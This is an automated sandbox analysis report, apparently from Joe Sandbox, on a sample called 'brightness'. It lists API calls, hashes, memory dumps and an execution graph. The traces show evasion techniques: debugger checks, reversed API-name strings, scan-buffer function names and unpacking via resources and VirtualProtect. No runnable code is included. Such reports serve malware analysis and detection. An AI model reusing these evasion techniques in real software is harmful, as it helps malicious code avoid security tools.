                                                                                                                                                            • Part of subcall function 02908140: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02908193
                                                                                                                                                            • Part of subcall function 02908140: GetProcAddress.KERNEL32(?,?), ref: 029081A5
                                                                                                                                                          • GetModuleHandleA.KERNELBASE(?), ref: 029080EA
                                                                                                                                                          Strings
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 00000004.00000002.1866087402.00000000028F1000.00000020.00001000.00020000.00000000.sdmp, Offset: 028F0000, based on PE: true
                                                                                                                                                          • Associated: 00000004.00000002.1866051784.00000000028F0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866268252.000000000291E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866461791.000000000294B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866566708.0000000002A3F000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866566708.0000000002A42000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_4_2_28f0000_brightness.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID: HandleModule$AddressProc
                                                                                                                                                          • String ID: AeldnaHeludoMteG$KernelBASE
                                                                                                                                                          • API String ID: 1883125708-1952140341
                                                                                                                                                          • Opcode ID: dd760ff2308b9af46ea3b14b569f483fd3d3a1f2dbf86e176726e32ac5c74b88
                                                                                                                                                          • Instruction ID: 14ed9615e96939f44a524ff704448f297342391ebfffac7d41a7f6c924a9fe13
                                                                                                                                                          • Opcode Fuzzy Hash: dd760ff2308b9af46ea3b14b569f483fd3d3a1f2dbf86e176726e32ac5c74b88
                                                                                                                                                          • Instruction Fuzzy Hash: 6EF06239B48308AFE790EBB5DC92D6A77EDFB497047514461B600D3690E670AD108A65
                                                                                                                                                          Function 0290F9DC Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 19libraryloaderCOMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          APIs
                                                                                                                                                          • GetModuleHandleW.KERNEL32(KernelBase,?,0290FDE0,UacInitialize,0294B37C,0291B9D4,UacScan,0294B37C,0291B9D4,ScanBuffer,0294B37C,0291B9D4,OpenSession,0294B37C,0291B9D4,ScanString), ref: 0290F9E2
                                                                                                                                                          • GetProcAddress.KERNEL32(00000000,IsDebuggerPresent), ref: 0290F9F4
                                                                                                                                                          Strings
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 00000004.00000002.1866087402.00000000028F1000.00000020.00001000.00020000.00000000.sdmp, Offset: 028F0000, based on PE: true
                                                                                                                                                          • Associated: 00000004.00000002.1866051784.00000000028F0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866268252.000000000291E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866461791.000000000294B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866566708.0000000002A3F000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866566708.0000000002A42000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_4_2_28f0000_brightness.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID: AddressHandleModuleProc
                                                                                                                                                          • String ID: IsDebuggerPresent$KernelBase
                                                                                                                                                          • API String ID: 1646373207-2367923768
                                                                                                                                                          • Opcode ID: a55f952a4341bde36879063a64c868c711298dca5013450a6a760839367d6ab0
                                                                                                                                                          • Instruction ID: ed7b18cf351afaddfd209dffd89210d2f8ccaaff17ee6ef08306bed5db23d139
                                                                                                                                                          • Opcode Fuzzy Hash: a55f952a4341bde36879063a64c868c711298dca5013450a6a760839367d6ab0
                                                                                                                                                          • Instruction Fuzzy Hash: 63D0129A7503941DB950B2F91CC481D138C895873D3240F20B136C24E3FA6A89115511
                                                                                                                                                          Function 028FC474 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 16libraryloaderCOMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          APIs
                                                                                                                                                          • GetModuleHandleA.KERNEL32(kernel32.dll,?,0291D10B,00000000,0291D11E), ref: 028FC47A
                                                                                                                                                          • GetProcAddress.KERNEL32(00000000,GetDiskFreeSpaceExA), ref: 028FC48B
                                                                                                                                                          Strings
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 00000004.00000002.1866087402.00000000028F1000.00000020.00001000.00020000.00000000.sdmp, Offset: 028F0000, based on PE: true
                                                                                                                                                          • Associated: 00000004.00000002.1866051784.00000000028F0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866268252.000000000291E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866461791.000000000294B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866566708.0000000002A3F000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866566708.0000000002A42000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_4_2_28f0000_brightness.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID: AddressHandleModuleProc
                                                                                                                                                          • String ID: GetDiskFreeSpaceExA$kernel32.dll
                                                                                                                                                          • API String ID: 1646373207-3712701948
                                                                                                                                                          • Opcode ID: bcbf88357c8224b8d99994ba3a20df7e6393957ebb16c5b37017d1e61ca86553
                                                                                                                                                          • Instruction ID: 2156ade97aa5391c89695d4feca638c6829e4bb4017bc917e8e15ae48b01285f
                                                                                                                                                          • Opcode Fuzzy Hash: bcbf88357c8224b8d99994ba3a20df7e6393957ebb16c5b37017d1e61ca86553
                                                                                                                                                          • Instruction Fuzzy Hash: 0CD05EECA4431A9AF7C0EEF6548063137988328310F00C866EB01D5201E7AA5514CF19
                                                                                                                                                          Function 028FE1E8 Relevance: 6.1, APIs: 4, Instructions: 115COMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          APIs
                                                                                                                                                          • SafeArrayGetLBound.OLEAUT32(?,00000001,?), ref: 028FE297
                                                                                                                                                          • SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 028FE2B3
                                                                                                                                                          • SafeArrayPtrOfIndex.OLEAUT32(?,?,?), ref: 028FE32A
                                                                                                                                                          • VariantClear.OLEAUT32(?), ref: 028FE353
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 00000004.00000002.1866087402.00000000028F1000.00000020.00001000.00020000.00000000.sdmp, Offset: 028F0000, based on PE: true
                                                                                                                                                          • Associated: 00000004.00000002.1866051784.00000000028F0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866268252.000000000291E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866461791.000000000294B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866566708.0000000002A3F000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866566708.0000000002A42000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_4_2_28f0000_brightness.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID: ArraySafe$Bound$ClearIndexVariant
                                                                                                                                                          • String ID:
                                                                                                                                                          • API String ID: 920484758-0
                                                                                                                                                          • Opcode ID: cd7e56306b14da739c94dd26db2064fb48e8dac8868798fc3541503821c87934
                                                                                                                                                          • Instruction ID: b06ca0e2711e1ec10da47e732f5e37f83e086fb184712242c84192c9d3d3091b
                                                                                                                                                          • Opcode Fuzzy Hash: cd7e56306b14da739c94dd26db2064fb48e8dac8868798fc3541503821c87934
                                                                                                                                                          • Instruction Fuzzy Hash: CE41F77DA012299FCBA2DB5DC894BC9B3BEAB49314F0441D5E64CE7221DA30AF818F55
                                                                                                                                                          Function 028FAD3C Relevance: 6.1, APIs: 4, Instructions: 102COMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          APIs
                                                                                                                                                          • VirtualQuery.KERNEL32(?,?,0000001C), ref: 028FAD59
                                                                                                                                                          • GetModuleFileNameA.KERNEL32(?,?,00000105), ref: 028FAD7D
                                                                                                                                                          • GetModuleFileNameA.KERNEL32(028F0000,?,00000105), ref: 028FAD98
                                                                                                                                                          • LoadStringA.USER32(00000000,0000FFE9,?,00000100), ref: 028FAE2E
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 00000004.00000002.1866087402.00000000028F1000.00000020.00001000.00020000.00000000.sdmp, Offset: 028F0000, based on PE: true
                                                                                                                                                          • Associated: 00000004.00000002.1866051784.00000000028F0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866268252.000000000291E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866461791.000000000294B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866566708.0000000002A3F000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866566708.0000000002A42000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_4_2_28f0000_brightness.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID: FileModuleName$LoadQueryStringVirtual
                                                                                                                                                          • String ID:
                                                                                                                                                          • API String ID: 3990497365-0
                                                                                                                                                          • Opcode ID: 44f3f2aafbffaef3addff0b59d651dcb8e2dcaab7386c54b8e978a0bdea7439b
                                                                                                                                                          • Instruction ID: 4408147c41f0ffef207d798bafefc43f4efe9fc6c685aa80173b3b46e5a0adde
                                                                                                                                                          • Opcode Fuzzy Hash: 44f3f2aafbffaef3addff0b59d651dcb8e2dcaab7386c54b8e978a0bdea7439b
                                                                                                                                                          • Instruction Fuzzy Hash: 64416E7DA402589BDBA1DB68CC84BDAB7FDAB08310F4441E5A64CE7241EB74AF848F51
                                                                                                                                                          Function 028FAD3A Relevance: 6.1, APIs: 4, Instructions: 101COMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          APIs
                                                                                                                                                          • VirtualQuery.KERNEL32(?,?,0000001C), ref: 028FAD59
                                                                                                                                                          • GetModuleFileNameA.KERNEL32(?,?,00000105), ref: 028FAD7D
                                                                                                                                                          • GetModuleFileNameA.KERNEL32(028F0000,?,00000105), ref: 028FAD98
                                                                                                                                                          • LoadStringA.USER32(00000000,0000FFE9,?,00000100), ref: 028FAE2E
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 00000004.00000002.1866087402.00000000028F1000.00000020.00001000.00020000.00000000.sdmp, Offset: 028F0000, based on PE: true
                                                                                                                                                          • Associated: 00000004.00000002.1866051784.00000000028F0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866268252.000000000291E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866461791.000000000294B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866566708.0000000002A3F000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866566708.0000000002A42000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_4_2_28f0000_brightness.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID: FileModuleName$LoadQueryStringVirtual
                                                                                                                                                          • String ID:
                                                                                                                                                          • API String ID: 3990497365-0
                                                                                                                                                          • Opcode ID: 93ded1756bbf2ee9648885e8b7cac7e7bb4245be413a8551c21313f4d14ef5a5
                                                                                                                                                          • Instruction ID: afcc26e973bb6ad51e482f946251913582ff0667247e62ad2cc0a22523c6538d
                                                                                                                                                          • Opcode Fuzzy Hash: 93ded1756bbf2ee9648885e8b7cac7e7bb4245be413a8551c21313f4d14ef5a5
                                                                                                                                                          • Instruction Fuzzy Hash: 94415E7CA402589BDBA1EB68CC84BDAB7FD9B48310F4401E5A74CE7241EB74AF848F51
                                                                                                                                                          Function 028F1C6C Relevance: 5.3, APIs: 4, Instructions: 330COMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 00000004.00000002.1866087402.00000000028F1000.00000020.00001000.00020000.00000000.sdmp, Offset: 028F0000, based on PE: true
                                                                                                                                                          • Associated: 00000004.00000002.1866051784.00000000028F0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866268252.000000000291E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866461791.000000000294B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866566708.0000000002A3F000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866566708.0000000002A42000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_4_2_28f0000_brightness.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID:
                                                                                                                                                          • String ID:
                                                                                                                                                          • API String ID:
                                                                                                                                                          • Opcode ID: 0001dee3edc011033b0dc3cebc5f6d8315ffd4ff5020127e6b3b74b647add711
                                                                                                                                                          • Instruction ID: e3fa5eeb01bf721f03fe69fa63fd808de345d1f5089dac990e42283198862ac8
                                                                                                                                                          • Opcode Fuzzy Hash: 0001dee3edc011033b0dc3cebc5f6d8315ffd4ff5020127e6b3b74b647add711
                                                                                                                                                          • Instruction Fuzzy Hash: 08A1F66E7106008BD758AA7C9C883BDB3D2DBD4325F18823EE31DCB785EB68C9518751
                                                                                                                                                          Function 028F94EC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 79threadCOMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          APIs
                                                                                                                                                          • GetThreadLocale.KERNEL32(00000004,?,00000000,?,00000100,00000000,028F95DA), ref: 028F9572
                                                                                                                                                          • GetDateFormatA.KERNEL32(00000000,00000004,?,00000000,?,00000100,00000000,028F95DA), ref: 028F9578
                                                                                                                                                          Strings
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 00000004.00000002.1866087402.00000000028F1000.00000020.00001000.00020000.00000000.sdmp, Offset: 028F0000, based on PE: true
                                                                                                                                                          • Associated: 00000004.00000002.1866051784.00000000028F0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866268252.000000000291E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866461791.000000000294B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866566708.0000000002A3F000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866566708.0000000002A42000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_4_2_28f0000_brightness.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID: DateFormatLocaleThread
                                                                                                                                                          • String ID: yyyy
                                                                                                                                                          • API String ID: 3303714858-3145165042
                                                                                                                                                          • Opcode ID: 60d1affd2a8eed54d3ebca7c846d59a2599a8089dbf611d2c1a0a4dbb8c56749
                                                                                                                                                          • Instruction ID: 3584ea6a0e79893bb4c4632636ebd117d26ab62de3549235eab68ce9e257324a
                                                                                                                                                          • Opcode Fuzzy Hash: 60d1affd2a8eed54d3ebca7c846d59a2599a8089dbf611d2c1a0a4dbb8c56749
                                                                                                                                                          • Instruction Fuzzy Hash: 6A21627DA002589FDB90DFA8C841BAE73B9EF49700F5140A6EB05E7250D7349E40CB66
                                                                                                                                                          Function 02908204 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 47COMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          APIs
                                                                                                                                                            • Part of subcall function 02908098: GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,02908108,?,?,00000000,?,02907A7E,ntdll,00000000,00000000,02907AC3,?,?,00000000), ref: 029080D6
                                                                                                                                                            • Part of subcall function 02908098: GetModuleHandleA.KERNELBASE(?), ref: 029080EA
                                                                                                                                                            • Part of subcall function 02908140: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,029081C8,?,?,00000000,00000000,?,029080E1,00000000,KernelBASE,00000000,00000000,02908108), ref: 0290818D
                                                                                                                                                            • Part of subcall function 02908140: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02908193
                                                                                                                                                            • Part of subcall function 02908140: GetProcAddress.KERNEL32(?,?), ref: 029081A5
                                                                                                                                                          • FlushInstructionCache.KERNEL32(?,?,?,00000000,Kernel32,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,0290828E), ref: 02908270
                                                                                                                                                          Strings
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 00000004.00000002.1866087402.00000000028F1000.00000020.00001000.00020000.00000000.sdmp, Offset: 028F0000, based on PE: true
                                                                                                                                                          • Associated: 00000004.00000002.1866051784.00000000028F0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866268252.000000000291E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866461791.000000000294B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866566708.0000000002A3F000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866566708.0000000002A42000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_4_2_28f0000_brightness.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID: HandleModule$AddressProc$CacheFlushInstruction
                                                                                                                                                          • String ID: FlushInstructionCache$Kernel32
                                                                                                                                                          • API String ID: 3811539418-184458249
                                                                                                                                                          • Opcode ID: 881915f726c99fa8e96a652ce524d2dce7cbbdf3f53adbdcb7007651025f7175
                                                                                                                                                          • Instruction ID: 6c6ef9935f8437cc02e41b2cd44686db77de75da9526315fa2fc5d9fcdc31e6a
                                                                                                                                                          • Opcode Fuzzy Hash: 881915f726c99fa8e96a652ce524d2dce7cbbdf3f53adbdcb7007651025f7175
                                                                                                                                                          • Instruction Fuzzy Hash: 6701AD39B44708BFEB50EFA9DC91F6A33EEFB8DB00F504421B600D2280D630ED108A25
                                                                                                                                                          Function 0290ADDC Relevance: 5.1, APIs: 4, Instructions: 72COMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          APIs
                                                                                                                                                          • IsBadReadPtr.KERNEL32(?,00000004), ref: 0290AE10
                                                                                                                                                          • IsBadWritePtr.KERNEL32(?,00000004), ref: 0290AE40
                                                                                                                                                          • IsBadReadPtr.KERNEL32(?,00000008), ref: 0290AE5F
                                                                                                                                                          • IsBadReadPtr.KERNEL32(?,00000004), ref: 0290AE6B
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 00000004.00000002.1866087402.00000000028F1000.00000020.00001000.00020000.00000000.sdmp, Offset: 028F0000, based on PE: true
                                                                                                                                                          • Associated: 00000004.00000002.1866051784.00000000028F0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866268252.000000000291E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866461791.000000000294B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866566708.0000000002A3F000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866566708.0000000002A42000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_4_2_28f0000_brightness.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID: Read$Write
                                                                                                                                                          • String ID:
                                                                                                                                                          • API String ID: 3448952669-0
                                                                                                                                                          • Opcode ID: e720fd1f35371ed8eed611904540eb1dceb651114ec14aff2087e2dc2d652641
                                                                                                                                                          • Instruction ID: 8e798a4c2ac493c3a059bd3c3659cea967e57731317b52be73a804f4f4dc4471
                                                                                                                                                          • Opcode Fuzzy Hash: e720fd1f35371ed8eed611904540eb1dceb651114ec14aff2087e2dc2d652641
                                                                                                                                                          • Instruction Fuzzy Hash: D0218C7564071A9FDB10DF69DCC0BAE73A9EB80725F008211EF64D7281E738E9118AE4

                                                                                                                                                          Execution Graph

                                                                                                                                                          Execution Coverage:8.1%
                                                                                                                                                          Dynamic/Decrypted Code Coverage:54.9%
                                                                                                                                                          Signature Coverage:15%
                                                                                                                                                          Total number of Nodes:472
                                                                                                                                                          Total number of Limit Nodes:42
                                                                                                                                                          execution_graph 82802 2fe26b90 82803 2fe26c28 CreateWindowExW 82802->82803 82805 2fe26d66 82803->82805 82806 29a50e90 82807 29a50e9c 82806->82807 82808 29a50ea7 82807->82808 82811 29a54f2b 82807->82811 82814 29a5342a 82807->82814 82817 29a5edd0 82811->82817 82816 29a5edd0 VirtualProtect 82814->82816 82815 29a53443 82816->82815 82819 29a5edf7 82817->82819 82821 29a5eee8 82819->82821 82822 29a5ef31 VirtualProtect 82821->82822 82824 29a51710 82822->82824 82799 2f76bd10 82800 2f76bd3f DuplicateHandle 82799->82800 82801 2f76bded 82800->82801 82825 40cbf7 82826 40cc08 82825->82826 82869 40d534 HeapCreate 82826->82869 82829 40cc46 82930 41087e 71 API calls 8 library calls 82829->82930 82832 40cc4c 82833 40cc50 82832->82833 82834 40cc58 __RTC_Initialize 82832->82834 82931 40cbb4 62 API calls 3 library calls 82833->82931 82871 411a15 67 API calls 3 library calls 82834->82871 82836 40cc57 82836->82834 82838 40cc66 82839 40cc72 GetCommandLineA 82838->82839 82840 40cc6a 82838->82840 82872 412892 71 API calls 3 library calls 82839->82872 82932 40e79a 62 API calls 3 library calls 82840->82932 82843 40cc71 82843->82839 82844 40cc82 82933 4127d7 107 API calls 3 library calls 82844->82933 82846 40cc8c 82847 40cc90 82846->82847 82848 40cc98 82846->82848 82934 40e79a 62 API calls 3 library calls 82847->82934 82873 41255f 106 API calls 6 library calls 82848->82873 82851 40cc9d 82853 40cca1 82851->82853 82854 40cca9 82851->82854 82852 40cc97 82852->82848 82935 40e79a 62 API calls 3 library calls 82853->82935 82874 40e859 73 API calls 5 library calls 82854->82874 82857 40cca8 82857->82854 82858 40ccb0 82859 40ccb5 82858->82859 82860 40ccbc 82858->82860 82936 40e79a 62 API calls 3 library calls 82859->82936 82875 4019f0 OleInitialize 82860->82875 82863 40ccbb 82863->82860 82864 40ccd8 82865 40ccea 82864->82865 82937 40ea0a 62 API calls _doexit 82864->82937 82938 40ea36 62 API calls _doexit 82865->82938 82868 40ccef __setmbcp 82870 40cc3a 82869->82870 82870->82829 82929 40cbb4 62 API calls 3 library calls 82870->82929 82871->82838 82872->82844 82873->82851 82874->82858 82876 401ab9 82875->82876 82939 40b99e 82876->82939 82878 401abf 82879 401acd GetCurrentProcessId CreateToolhelp32Snapshot Module32First 82878->82879 82909 402467 82878->82909 82880 401dc3 CloseHandle GetModuleHandleA 82879->82880 82887 401c55 82879->82887 82952 401650 82880->82952 82882 401e8b FindResourceA LoadResource LockResource SizeofResource 82954 40b84d 82882->82954 82886 401c9c CloseHandle 82886->82864 82887->82886 82892 401cf9 Module32Next 82887->82892 82888 401ecb _memset 82889 401efc SizeofResource 82888->82889 82890 401f1c 82889->82890 82891 401f5f 82889->82891 82890->82891 83010 401560 __VEC_memcpy ___sbh_free_block 82890->83010 82893 401f92 _memset 82891->82893 83011 401560 __VEC_memcpy ___sbh_free_block 82891->83011 82892->82880 82903 401d0f 82892->82903 82896 401fa2 FreeResource 82893->82896 82897 40b84d _malloc 62 API calls 82896->82897 82898 401fbb SizeofResource 82897->82898 82899 401fe5 _memset 82898->82899 82900 4020aa LoadLibraryA 82899->82900 82901 401650 82900->82901 82902 40216c GetProcAddress 82901->82902 82905 4021aa 82902->82905 82902->82909 82903->82886 82904 401dad Module32Next 82903->82904 82904->82880 82904->82903 82905->82909 82984 4018f0 82905->82984 82907 40243f 82907->82909 83012 40b6b5 62 API calls 2 library calls 82907->83012 82909->82864 82910 4021f1 82910->82907 82996 401870 82910->82996 82912 402269 VariantInit 82913 401870 75 API calls 82912->82913 82914 40228b VariantInit 82913->82914 82915 4022a7 82914->82915 82916 4022d9 SafeArrayCreate SafeArrayAccessData 82915->82916 83001 40b350 82916->83001 82919 40232c 82920 402354 SafeArrayDestroy 82919->82920 82928 40235b 82919->82928 82920->82928 82921 402392 SafeArrayCreateVector 82922 4023a4 82921->82922 82923 4023bc VariantClear VariantClear 82922->82923 83003 4019a0 82923->83003 82926 40242e 82927 4019a0 65 API calls 82926->82927 82927->82907 82928->82921 82929->82829 82930->82832 82931->82836 82932->82843 82933->82846 82934->82852 82935->82857 82936->82863 82937->82865 82938->82868 82942 40b9aa _strnlen __setmbcp 82939->82942 82940 40b9b8 83013 40bfc1 62 API calls __getptd_noexit 82940->83013 82942->82940 82945 40b9ec 82942->82945 82943 40b9bd 83014 40e744 6 API calls 2 library calls 82943->83014 83015 40d6e0 62 API calls 2 library calls 82945->83015 82947 40b9f3 83016 40b917 120 API calls 3 library calls 82947->83016 82949 40b9ff 83017 40ba18 LeaveCriticalSection _doexit 82949->83017 82950 40b9cd __setmbcp 82950->82878 82953 4017cc ___crtGetEnvironmentStringsA 82952->82953 82953->82882 82955 40b900 82954->82955 82965 40b85f 82954->82965 83025 40d2e3 6 API calls __decode_pointer 82955->83025 82957 40b906 83026 40bfc1 62 API calls __getptd_noexit 82957->83026 82962 40b8bc RtlAllocateHeap 82962->82965 82964 40b870 82964->82965 83018 40ec4d 62 API calls 2 library calls 82964->83018 83019 40eaa2 62 API calls 7 library calls 82964->83019 83020 40e7ee GetModuleHandleW GetProcAddress ExitProcess ___crtCorExitProcess 82964->83020 82965->82962 82965->82964 82966 40b8ec 82965->82966 82969 40b8f1 82965->82969 82971 401ebf 82965->82971 83021 40b7fe 62 API calls 4 library calls 82965->83021 83022 40d2e3 6 API calls __decode_pointer 82965->83022 83023 40bfc1 62 API calls __getptd_noexit 82966->83023 83024 40bfc1 62 API calls __getptd_noexit 82969->83024 82972 40af66 82971->82972 82974 40af70 82972->82974 82973 40b84d _malloc 62 API calls 82973->82974 82974->82973 82975 40af8a 82974->82975 82979 40af8c std::bad_alloc::bad_alloc 82974->82979 83027 40d2e3 6 API calls __decode_pointer 82974->83027 82975->82888 82977 40afb2 83029 40af49 62 API calls std::exception::exception 82977->83029 82979->82977 83028 40d2bd 73 API calls __cinit 82979->83028 82980 40afbc 83030 40cd39 RaiseException 82980->83030 82983 40afca 82985 401903 lstrlenA 82984->82985 82986 4018fc 82984->82986 83031 4017e0 82985->83031 82986->82910 82989 401940 GetLastError 82991 40194b MultiByteToWideChar 82989->82991 82992 40198d 82989->82992 82990 401996 82990->82910 82993 4017e0 77 API calls 82991->82993 82992->82990 83047 401030 GetLastError EntryPoint 82992->83047 82994 401970 MultiByteToWideChar 82993->82994 82994->82992 82997 40af66 74 API calls 82996->82997 82998 40187c 82997->82998 82999 401885 SysAllocString 82998->82999 83000 4018a4 82998->83000 82999->83000 83000->82912 83002 40231a SafeArrayUnaccessData 83001->83002 83002->82919 83004 4019aa InterlockedDecrement 83003->83004 83009 4019df VariantClear 83003->83009 83005 4019b8 83004->83005 83004->83009 83006 4019c2 SysFreeString 83005->83006 83007 4019c9 83005->83007 83005->83009 83006->83007 83051 40aec0 63 API calls 2 library calls 83007->83051 83009->82926 83010->82890 83011->82893 83012->82909 83013->82943 83015->82947 83016->82949 83017->82950 83018->82964 83019->82964 83021->82965 83022->82965 83023->82969 83024->82971 83025->82957 83026->82971 83027->82974 83028->82977 83029->82980 83030->82983 83032 4017f3 83031->83032 83033 4017e9 EntryPoint 83031->83033 83034 401805 83032->83034 83035 4017fb EntryPoint 83032->83035 83033->83032 83036 401818 83034->83036 83037 40180e EntryPoint 83034->83037 83035->83034 83038 40183e 83036->83038 83044 401844 83036->83044 83048 40b783 72 API calls 4 library calls 83036->83048 83037->83036 83049 40b6b5 62 API calls 2 library calls 83038->83049 83042 40186d MultiByteToWideChar 83042->82989 83042->82990 83043 40184e EntryPoint 83043->83044 83044->83042 83044->83043 83050 40b743 62 API calls 2 library calls 83044->83050 83045 40182d 83045->83044 83046 401834 EntryPoint 83045->83046 83046->83038 83048->83045 83049->83044 83050->83044 83051->83009 83052 2f688550 83053 2f68857d 83052->83053 83055 2f68a45f 83053->83055 83057 2f688886 83053->83057 